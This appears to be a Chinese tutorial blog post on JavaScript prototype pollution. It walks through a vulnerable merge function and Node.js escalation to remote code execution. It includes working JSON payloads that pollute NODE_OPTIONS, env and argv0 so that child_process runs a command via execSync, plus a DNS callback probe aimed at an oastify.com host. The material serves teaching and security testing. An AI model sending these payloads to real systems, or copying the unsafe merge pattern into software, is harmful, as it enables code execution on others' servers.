js原型链污染

js原型链污染

原理介绍

对于语句:object[a][b] = value 如果可以控制a、b、value的值,将a设置为__proto__,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value。

可以通过以下方式访问得到某一实例对象的原型对象:

objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype

demo

const foo = {
    bar: 1
};
// 如果这里将foo.__proto__改掉
foo.__proto__.bar = 2
console.log(foo.bar); // 这里正常输出 1
// 新声明一个
const zoo = {};
console.log(zoo.bar); // 这里错误输出 2

在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。

攻击场景

其实我们主要看哪些场景会允许代码设置__proto__?主要有以下两种:

  • 对象merge
  • 对象clone
  • Node.js的construtor

一般的 merge 函数,merge操作是最常见可能控制键名的操作,也最能被原型链攻击。demo

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b)

object3 = {}
console.log(object3.b)

需要注意的点是:在JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历object2的时候会存在这个键。

这里就是循环遍历出 source 中的键名,然后判断键名是否在 source 和 target 中存在,如果都存在就再次执行 merge,不满足就给 target[key] 赋上 source[key] 的值,

第一次就是让 target 的 a 键赋值为 1,也就相当于给 object.a 赋值为 1。

然后第二次,键名就为 __proto__ 了,在 target 和 suorce 中都存在,再次执行 merge 函数

这时 key 为 b,就会给 target['b'] 赋值为 2。

怎么利用呢?参考: https://xz.aliyun.com/t/7184

Prototype Pollution to RCE

简单来说就是通过 js 的原型链污染进行 rce,

PP2RCE 通过 env 变量

__proto__
由于 node 的 child_process 库中的 normalizeSpawnArguments 函数的工作方式,当调用某些内容以便为进程设置新的 env 变量时,只需污染任何内容。例如,如果执行 __proto__.avar=“valuevar 操作,则进程将使用名为 avar 且值为 valuevar 的 var 生成。

但是,为了让 env 变量成为第一个变量,需要污染 .env 属性,并且(仅在某些方法中)该 var 将是第一个变量(允许攻击)。

这就是为什么在以下攻击中 NODE_OPTIONS 不在 .env 中的原因。
{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}
constructor.prototype
{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}

PP2RCE 通过 env + cmdline

  • 它不是将 nodejs 有效载荷存储在文件 /proc/self/environ 中,而是存储在 /proc/self/cmdlineargv0 中。

  • 然后,它不是通过 NODE_OPTIONS 要求文件 /proc/self/environ,而是 要求 /proc/self/cmdline

{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}

PP2RCE 漏洞 child_process 函数

当一个 进程被生成 使用 child_process 的某些方法(如 forkspawn 或其他)时,它调用方法 normalizeSpawnArguments,这是一个 原型污染工具,用于创建新的环境变量

具体每个函数利用参考:PP2RCE 漏洞 child_process 函数

DNS 验证

可以通过 dns 来判断是否存在漏洞

{
"__proto__": {"argv0":"node","shell":"node","NODE_OPTIONS":"--inspect=id.oastify.com"}
}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值